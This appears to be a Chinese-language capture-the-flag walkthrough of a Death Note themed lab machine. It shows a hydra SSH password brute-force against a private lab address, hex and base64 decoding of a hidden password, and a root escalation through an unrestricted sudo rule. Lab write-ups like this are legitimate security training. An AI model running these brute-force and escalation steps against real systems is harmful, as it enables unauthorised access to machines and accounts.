尝试爆破ssh :
hydra -L user.txt -P notes.txt ssh://192.168.43.188
--> l:death4me
ssh l@192.168.43.188
目录下有一个 user.txt文件

i think u got the shell , but you wont be able to kill me -kira
找找其他文件，在opt文件夹下有一个L文件夹，查看里面的内容
--> fake-notebook-rule 和 kira-case文件夹
查看fake-notebook-rule文件下的内容：
--> case.wav 和 hint 文件
case.wav是一串十六进制：
63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3dhint -> use cyberchef
cyberchef是个加解密网站，用这个网站解密case.wav中的内容
-> from hex: cGFzc3dkIDoga2lyYWlzZXZpbCA=
-> from base64: passwd : kiraisevil
尝试用这个密码登录kira账户：
su kira
登陆成功
切换到/home/kira目录下，有一个kira.txt
cat kira.txt
--> cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp
sudo -l -> 查看kira的权限
--> (ALL:ALL) ALL 可以直接切换到root
sudo su
root获取成功
